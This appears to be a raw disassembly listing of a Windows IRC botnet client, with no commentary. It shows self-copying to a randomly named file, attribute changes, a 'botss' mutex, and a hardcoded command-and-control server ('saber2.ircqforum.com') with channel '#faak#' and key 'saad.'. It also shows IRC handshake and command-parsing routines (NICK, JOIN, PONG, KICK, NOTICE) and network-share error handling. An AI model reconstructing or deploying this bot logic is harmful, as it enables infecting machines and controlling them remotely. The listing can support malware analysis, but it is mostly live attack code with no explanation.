loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_443CD8 call sub_4172AE pop ecx mov eax, offset dword_443CD8 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27B0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43F678 test eax, eax jnz short loc_40E67B mov esi, offset dword_443AD4 push offset dword_42F568 push esi call sub_4172AE pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_443AD4 push eax push offset dword_42F530 push esi call sub_4172AE add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_489C50, eax call esi push eax call sub_417300 pop ecx call sub_40981F push 2 call dword_43F714 push 7530h push offset aBotss ; "botss" push ebx push ebx nop call near ptr 27C0330h push eax nop call near ptr 2640273h cmp eax, 102h jnz short loc_40E726 push 1 call near ptr 77E75CB5h nop loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43F5E0 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2600552h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2710A87h push eax nop call near ptr 2650000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F678 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730A push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F678[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172AE add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 268044Ah cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax call near ptr 276105Ah nop loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 nop call near ptr 264030Ch cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h call near ptr 26004EDh nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 276105Ah push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_43C80C mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi call near ptr 27B0DCFh nop push eax push esi push 100000h nop call near ptr 2710513h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_435144 push eax call sub_4172AE add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2750604h test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 26004EDh push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43F5C8 push ebx call near ptr 77E75CB5h nop loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_48A030, 2 jle short loc_40E9D8 mov eax, dword_48A034 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2640273h push esi nop call near ptr 2621906h mov eax, dword_48A034 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h nop call near ptr 26004EDh mov eax, dword_48A034 push dword ptr [eax+8] call near ptr 27B0CE8h nop loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43F738, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_43511C push eax call sub_4172AE push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5A lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_444340 call sub_417330 call sub_41730A push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_489C5C mov dword_489DD0, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_489CDC push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh mov esi, offset dword_489D1C push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_489DB0, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43F750, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43F5AC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_489C58 mov dword_489DCC, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_489DCC, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j nop call near ptr 26004EDh inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F654, bl jz loc_40EA83 push 7Fh push offset byte_42F654 push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F23 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43F5C8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43F668 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_489DC0 push dword_42F5CC push eax call sub_415CFF mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4450D8 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43F6E8 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4450CC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43F700 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j nop call near ptr 26004EDh jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_435150 call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43F700 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417076 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_489DC8, bl jz short loc_40ED3F push offset byte_489DC8 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415CFF add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172AE add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43F700 push 1388h call near ptr 26004EDh nop loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h nop call near ptr 26004EDh jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_4387B8 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_4387B4 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D1 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D1 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_489DC0 push dword_42F5CC push [ebp+arg_10] call sub_415CFF add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_438738 push eax call sub_4172AE add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] 